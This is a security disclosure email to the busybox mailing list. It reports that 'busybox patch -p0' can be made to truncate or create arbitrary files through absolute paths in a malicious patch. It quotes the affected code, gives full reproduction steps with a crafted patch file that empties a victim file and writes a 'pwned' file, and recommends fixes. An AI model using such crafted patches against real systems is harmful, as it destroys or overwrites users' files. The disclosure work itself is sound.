Hi,
I am writing to report an arbitrary file truncation in busybox project and
specifically in the patch binary when processing a malicious patch file could
truncate or create arbitrary file in the file system with the user privilege.
It is triggerable through the `busybox patch` when the system manager or
cornjob applys regular patches which include a malicious patch file. It will
result in arbitrary file truncation or creation through direct path traversal
that may affect important system file with the user privilege.
I have attached a markdown arbitrary_file_truncation.md that holds detail
descriptions and reproduction steps of the vulnerability.
This issue was found by Anthropic from using agents to study security of open
source projects, and I am from Ada Logics helping validate the found issues and
report to maintainers. The data in this email has been reviewed manually.
Please let me know if you have any questions!
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
# Arbitrary file truncation / creation from direct path traversal of user-assisted remote attackers
**Affected version:** busybox blkid commit `34659e2cb02e055c74e929c5bad291470a729570` and before
**Affected file:** `editors/patch.c` — `patch_main()` at line 558
**Affected components:** `busybox patch`
---
## Summary
TThe patch functionality of the busybox binary contains a direct path traversal vulnerability that allows user-assisted remote attackers to truncate or create arbitrary files in the local system. This is a similar bug as CVE-2010-4651 which has been fixed. But the busybox adoption of the patch code does not follow the patch from upstream and leaves the patch existing in the busybox maintained version of the patch functionality.
The `patch` functionality accepts a `-p` option to define how much directory prefix should be scraped from the path within a patch file. The `patch_main()` function parses the value and is stored in the `TT.prefix` variable for later directory path scraping.
editors/patch.c#L410
```c
TT.prefix = (opts & FLAG_PATHLEN) ? xatoi(opt_p) : 0;
```
In later logic, the filename required for patching is extracted from the provided patch file if the target filename is not provided from command-line arguments.
editors/patch.c#L457-L480
```c
if (!argv[0]) {
free(*name);
// Trim date from end of filename (if any). We don't care.
for (s = patchline+4; *s && *s!='\t'; s++)
if (*s == '\\' && s[1]) s++;
i = atoi(s);
if (i > 1900 && i <= 1970)
*name = xstrdup("/dev/null");
else {
*s = 0;
*name = xstrdup(patchline+4);
}
}
```
Then, the extracted file name is processed and its prefix is getting scraped to form a correct relative path. But the `TT.prefix` variable allows a minimum value of 0. The scraping loop will exit immediately if the `-p0` is given from command-line argument. With that setting, the full absolute path is kept which means the bug could allow an attacker to truncate or create arbitrary files in the filesystem.
editors/patch.c#L533-L542
```c
for (i = 0, s = name; *s;) {
if ((option_mask32 & FLAG_PATHLEN) && TT.prefix == i)
break;
if (*s++ != '/')
continue;
while (*s == '/')
s++;
i++;
name = s;
}
```
In addition, the logic retrieves the headers from the patch. It then calculates the line change from the old version of the file to the new version of the file. Whenever the new file shows an empty line count, the `empty` variable is set to 1 and indicates that this file is ready for removal or truncate.
editors/patch.c#L517-L530
```c
int oldsum, newsum, empty = 0;
char *name;
oldsum = TT.oldline + oldlen;
newsum = TT.newline + newlen;
name = reverse ? oldname : newname;
// We're deleting oldname if new file is /dev/null (before -p)
// or if new hunk is empty (zero context) after patching
if (strcmp(name, "/dev/null") == 0 || !(reverse ? oldsum : newsum)) {
name = reverse ? newname : oldname;
empty = 1;
}
```
The problem lies in the order of the real operation in the logic. If `empty` is marked to 1 for a specific file, that file will be removed or truncated first before continuing reading the real patching contents. Later when the content is read and determined that the patch is invalid, the affected file has already been truncated or removed. Since the logic allows setting `-p0` and accepting absolute path, the problem could affect arbitrary files that the user can access using their own privilege.
editors/patch.c#L547-L559
```c
if (empty) {
// File is empty after the patches have been applied
state = 0;
if (option_mask32 & FLAG_RMEMPTY) {
// If flag -E or --remove-empty-files is set
printf("removing %s\n", name);
if (!(opts & FLAG_dry_run))
xunlink(name);
} else {
printf("patching file %s\n", name);
if (!(opts & FLAG_dry_run))
xclose(xopen(name, O_WRONLY | O_TRUNC));
}
}
```
## Reproduction Steps
```
# Clone project
git clone https://git.busybox.net/busybox
cd busybox
# Switch commit
git checkout 2f3b16fc1b46b4b91dabb59025dffa02b2730624
# Build project and disabled unrelated tc applet
make defconfig
sed -i 's/^CONFIG_TC=y/CONFIG_TC=n/' .config
make -j$(nproc) busybox
# Craft a victim file and a malicious patch
mkdir -p /tmp/target /tmp/work
echo "precious data precious data precious data precious data" > /tmp/target/victim.txt
cat > /tmp/evil.patch <<'EOF'
--- /tmp/target/victim.txt
+++ /tmp/target/victim.txt
@@ -1 +0,0 @@
-zzz_will_not_match
--- /dev/null
+++ /tmp/target/created.txt
@@ -0,0 +1 @@
+pwned
EOF
# Trigger the arbitrary file truncation / creation through the busybox
./busybox patch -p0 < /tmp/evil.patch
# Show the victim.txt has been truncated
ls -l /tmp/target/victim.txt
# Show the created.txt has been created
cat /tmp/target/created.txt
```
### Expected output after the patch
```
-rw-rw-r-- 1 root root 0 Apr 13 18:30 /tmp/target/victim.txt
pwned
```
### Proof of concept payload
No need for PoC files, the victim and the patch file are created lively.
## Recommended Fix
1) Deny absolute path and long directory traversal path despite of the `-p0` configuration and only start after scraping those parts from the path.
2) It is suggested to update the code base to use a newer version of patch which uses another workflow for patch to avoid the fundamental file truncation order problem.
## Reference
Similar issue has been reported in https://nvd.nist.gov/vuln/detail/CVE-2010-4651 and has been fixed already.
_______________________________________________
busybox mailing list
[email protected]
https://lists.busybox.net/mailman/listinfo/busybox